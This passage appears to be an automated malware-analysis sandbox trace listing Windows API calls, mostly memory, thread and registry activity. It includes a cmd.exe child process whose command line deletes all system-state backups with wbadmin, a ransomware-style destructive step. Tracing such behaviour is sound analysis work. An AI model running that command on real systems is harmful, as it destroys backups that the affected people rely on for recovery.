lpAddresses=0x5eef9b0*=0x0, lpdwCount=0x5eef9bc, lpdwGranularity=0x5eef9b4) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f1000, dwRegionSize=0x1000, lpAddresses=0x5eef9b0, lpdwCount=0x5eef9bc, lpdwGranularity=0x5eef9b4 | out: lpAddresses=0x5eef9b0*=0x0, lpdwCount=0x5eef9bc, lpdwGranularity=0x5eef9b4) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490f000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x2, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490b000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x490b000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4909000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x490b000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4904000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x490b000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4901000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x490b000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48fe000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fe000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48fd000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fe000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48fc000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.951] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48fb000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.951] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f8000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.951] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f7000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.951] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f6000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.951] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f4000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48fc000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f0000, dwRegionSize=0x1000, lpAddresses=0x5eefa24, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28 | out: lpAddresses=0x5eefa24*=0x48f0000, lpdwCount=0x5eefa2c, lpdwGranularity=0x5eefa28) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490e000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x5169fe8, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490d000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x490d000, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490c000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x490c000, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x490a000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x490a000, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4908000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x8, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4907000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x8, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4905000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x8, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x4900000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x4900000, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48ff000, dwRegionSize=0x1000, lpAddresses=0x5eefa0c, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10 | out: lpAddresses=0x5eefa0c*=0x48ff000, lpdwCount=0x5eefa14, lpdwGranularity=0x5eefa10) returned 0x0 [0259.952] SetEvent (hEvent=0x4a4) returned 1 [0259.952] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x5eefaa4*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x1 [0259.975] GetTickCount () returned 0x40442 [0259.975] VirtualFree (lpAddress=0x1307000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.975] VirtualFree (lpAddress=0x130b000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.976] VirtualFree (lpAddress=0x130d000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.976] VirtualFree (lpAddress=0x130e000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.976] VirtualFree (lpAddress=0x130f000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0259.977] GetTickCount () returned 0x40442 [0259.977] RtlInterlockedPopEntrySList (in: ListHead=0x516a0a0 | out: ListHead=0x516a0a0) returned 0x0 [0259.977] RtlInterlockedPopEntrySList (in: ListHead=0x516a080 | out: ListHead=0x516a080) returned 0x0 [0259.977] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x5eefaa4*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0259.995] malloc (_Size=0x30) returned 0x5168308 [0259.995] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6440000 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490c000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x0, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fb000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4900000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f4000, dwRegionSize=0x1000, lpAddresses=0x5eef9dc, lpdwCount=0x5eef9e8, lpdwGranularity=0x5eef9e0 | out: lpAddresses=0x5eef9dc*=0x0, lpdwCount=0x5eef9e8, lpdwGranularity=0x5eef9e0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fd000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fe000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490b000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490a000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f7000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48ff000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4905000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4908000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4901000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4907000, dwRegionSize=0x1000, lpAddresses=0x5eef9bc, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0 | out: lpAddresses=0x5eef9bc*=0x5eef9d8, lpdwCount=0x5eef9c4, lpdwGranularity=0x5eef9c0) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fc000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f6000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f0000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0259.999] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4909000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0260.000] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f8000, dwRegionSize=0x1000, lpAddresses=0x5eef9d8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc | out: lpAddresses=0x5eef9d8*=0x5169fe8, lpdwCount=0x5eef9e0, lpdwGranularity=0x5eef9dc) returned 0x0 [0260.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5171928 | out: lpSystemTimeAsFileTime=0x5171928*(dwLowDateTime=0xb5a14393, dwHighDateTime=0x1d4f110)) [0260.000] SetEvent (hEvent=0x4a4) returned 1 [0260.000] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x5eefaa4*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0260.924] SetEvent (hEvent=0x4a4) returned 1 [0260.924] FreeLibraryAndExitThread (hLibModule=0x716a0000, dwExitCode=0x0) [0260.924] GetCurrentThreadId () returned 0xd90 Thread: id = 86 os_tid = 0xef8 [0253.254] GetCurrentThreadId () returned 0xef8 [0253.254] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x602fa94 | out: phModule=0x602fa94*=0x716a0000) returned 1 [0253.254] SetEvent (hEvent=0x4b4) returned 1 [0253.274] ResetEvent (hEvent=0x4b0) returned 1 [0253.274] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0x3e8) returned 0x102 [0254.598] WaitForSingleObject (hHandle=0x4b0, dwMilliseconds=0xffffffff) returned 0x0 [0260.925] SetEvent (hEvent=0x4b4) returned 1 [0260.925] FreeLibraryAndExitThread (hLibModule=0x716a0000, dwExitCode=0x0) [0260.925] GetCurrentThreadId () returned 0xef8 Thread: id = 90 os_tid = 0xf6c [0254.601] GetCurrentThreadId () returned 0xf6c [0258.515] GetCurrentThreadId () returned 0xf6c Thread: id = 92 os_tid = 0x83c [0256.313] GetCurrentThreadId () returned 0x83c Thread: id = 94 os_tid = 0xecc [0258.625] GetCurrentThreadId () returned 0xecc [0258.772] GetCurrentThreadId () returned 0xecc Thread: id = 97 os_tid = 0x2b0 [0258.981] GetCurrentThreadId () returned 0x2b0 [0259.015] GetCurrentThreadId () returned 0x2b0 Thread: id = 100 os_tid = 0x9e0 [0259.202] GetCurrentThreadId () returned 0x9e0 [0259.402] GetCurrentThreadId () returned 0x9e0 Thread: id = 106 os_tid = 0xeb4 [0259.735] GetCurrentThreadId () returned 0xeb4 [0259.944] GetCurrentThreadId () returned 0xeb4 Thread: id = 111 os_tid = 0xef4 [0260.363] GetCurrentThreadId () returned 0xef4 [0260.363] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x66afd80 | out: phModule=0x66afd80*=0x726c0000) returned 1 [0260.363] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0260.364] CoUninitialize () [0260.364] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0260.364] GetCurrentThreadId () returned 0xef4 Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1f542000" os_pid = "0xfb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 93 os_tid = 0xf1c [0261.444] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0261.444] __set_app_type (_Type=0x1) [0261.444] __p__fmode () returned 0x77ae3c14 [0261.444] __p__commode () returned 0x77ae49ec [0261.444] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0261.444] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0261.444] _onexit (_Func=0xc18030) returned 0xc18030 [0261.444] _onexit (_Func=0xc18040) returned 0xc18040 [0261.445] _onexit (_Func=0xc18050) returned 0xc18050 [0261.445] _onexit (_Func=0xc18060) returned 0xc18060 [0261.445] _onexit (_Func=0xc18070) returned 0xc18070 [0261.445] _onexit (_Func=0xc18080) returned 0xc18080 [0261.445] GetCurrentThreadId () returned 0xf1c [0261.445] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf1c) returned 0xbc [0261.446] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0261.446] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0261.446] SetThreadUILanguage (LangId=0x0) returned 0x3010409 [0261.894] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0261.895] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32ffb88 | out: phkResult=0x32ffb88*=0x0) returned 0x2 [0261.895] VirtualQuery (in: lpAddress=0x32ffb93, lpBuffer=0x32ffb40, dwLength=0x1c | out: lpBuffer=0x32ffb40*(BaseAddress=0x32ff000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0261.895] VirtualQuery (in: lpAddress=0x3200000, lpBuffer=0x32ffb40, dwLength=0x1c | out: lpBuffer=0x32ffb40*(BaseAddress=0x3200000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0261.895] VirtualQuery (in: lpAddress=0x3201000, lpBuffer=0x32ffb40, dwLength=0x1c | out: lpBuffer=0x32ffb40*(BaseAddress=0x3201000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0261.895] VirtualQuery (in: lpAddress=0x3203000, lpBuffer=0x32ffb40, dwLength=0x1c | out: lpBuffer=0x32ffb40*(BaseAddress=0x3203000, AllocationBase=0x3200000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0261.895] VirtualQuery (in: lpAddress=0x3300000, lpBuffer=0x32ffb40, dwLength=0x1c | out: lpBuffer=0x32ffb40*(BaseAddress=0x3300000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0261.895] GetConsoleOutputCP () returned 0x1b5 [0262.470] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0262.470] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0262.470] _get_osfhandle (_FileHandle=1) returned 0x90 [0262.470] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0262.777] _get_osfhandle (_FileHandle=0) returned 0x8c [0262.777] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0262.971] _get_osfhandle (_FileHandle=1) returned 0x90 [0262.971] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0263.252] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.252] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0263.422] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.422] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0263.590] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.590] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0263.796] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.796] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0263.968] GetEnvironmentStringsW () returned 0x3344be8* [0263.968] GetProcessHeap () returned 0x3340000 [0263.968] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0xaca) returned 0x33456c0 [0263.968] FreeEnvironmentStringsA (penv="A") returned 1 [0263.968] GetProcessHeap () returned 0x3340000 [0263.968] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0x4) returned 0x33446c8 [0263.968] GetEnvironmentStringsW () returned 0x3344be8* [0263.968] GetProcessHeap () returned 0x3340000 [0263.968] RtlAllocateHeap (HeapHandle=0x3340000, Flags=0x8, Size=0xaca) returned 0x3346198 [0263.968] FreeEnvironmentStringsA (penv="A") returned 1 [0263.968] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32feae4 | out: phkResult=0x32feae4*=0xcc) returned 0x0 [0263.968] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x0, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.968] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x1, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x1, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x0, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x40, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x40, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x40, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.969] RegCloseKey (hKey=0xcc) returned 0x0 [0263.969] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32feae4 | out: phkResult=0x32feae4*=0xcc) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x40, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x1, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x0, lpData=0x32feaf0*=0x1, lpcbData=0x32feae8*=0x1000) returned 0x2 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x0, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, lpData=0x32feaf0*=0x9, lpcbData=0x32feae8*=0x4) returned 0x0 [0263.969] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32feaec, lpData=0x32feaf0, lpcbData=0x32feae8*=0x1000 | out: lpType=0x32feaec*=0x4, 